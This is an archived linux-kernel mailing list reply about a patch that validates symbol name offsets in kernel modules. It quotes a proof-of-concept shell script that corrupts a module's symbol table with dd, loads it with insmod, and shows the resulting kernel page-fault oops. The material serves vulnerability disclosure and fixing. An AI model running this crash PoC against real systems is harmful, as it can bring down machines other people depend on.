linux-kernel - Re: [PATCH] module: check symbol name offsets

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [<thread-prev] [thread-next>] [day] [month] [year] [list]

Message-ID: <ZxaxtnuAMuuTgN2I@bombadil.infradead.org>
Date: Mon, 21 Oct 2024 12:55:34 -0700
From: Luis Chamberlain <mcgrof@...nel.org>
To: Tobias Stoeckmann <tobias@...eckmann.org>
Cc: linux-modules@...r.kernel.org, linux-kernel@...r.kernel.org
Subject: Re: [PATCH] module: check symbol name offsets

On Sat, Oct 19, 2024 at 04:15:32PM +0200, Tobias Stoeckmann wrote:
> It must be verified that the symbol name offsets point into the
> string table, not outside of it.
> 
> Signed-off-by: Tobias Stoeckmann <tobias@...eckmann.org>
> ---
> Proof of Concept:
> 
> 1. Create "poc.sh"
> 
> ```
> cat > poc.sh << EOF
> #!/bin/sh
> # Sets an illegal symbol name offset in supplied uncompressed module
> # usage: ./poc file.ko
> 
> MODULE="$1"
> BASE=$(readelf -S $MODULE | grep '\.symtab' | awk '{ print $5 }')
> if [ $(getconf LONG_BIT) = '64' ]
> then
> 	OFF=24
> else
> 	OFF=16
> fi
> ADDR=$(python -c "print(int(0x$BASE) + $OFF)")
> echo -n 'AAAA' | dd bs=1 count=4 of=$MODULE seek=$ADDR conv=notrunc
> echo $ADDR
> EOF
> ```
> 
> 2. Choose a module which works for your system (adjust if compressed)
> 
> ```
> cp $(find /lib/modules/$(uname -r) |grep ko$ | head -n 1) poc.ko
> ```
> 
> 3. Modify module
> 
> ```
> sh poc.sh poc.ko
> ```
> 
> 4. Try to insert
> 
> ```
> insmod poc.ko
> ```
> 
> In dmesg, you can see lines like:
> 
> ```
> BUG: unable to handle page fault for address: ffff9802022d6f81
> #PF: supervisor read access in kernel mode
> #PF: error_code(0x0000) - not-present page
> PGD 100000067 P4D 100000067 PUD 0
> ---

Thanks! Any chance I can convince you to write you PoC as a new test
under lib/tests/module/, see my new patch which adds a new module
dedicated test [0] which you can build upon to add a new test there.

And then you can make a series with 3 patches for this and your prior one,
and you can just refer to the PoC in the fix.

[0] https://lkml.kernel.org/r/20241021193310.2014131-1-mcgrof@kernel.org

  Luis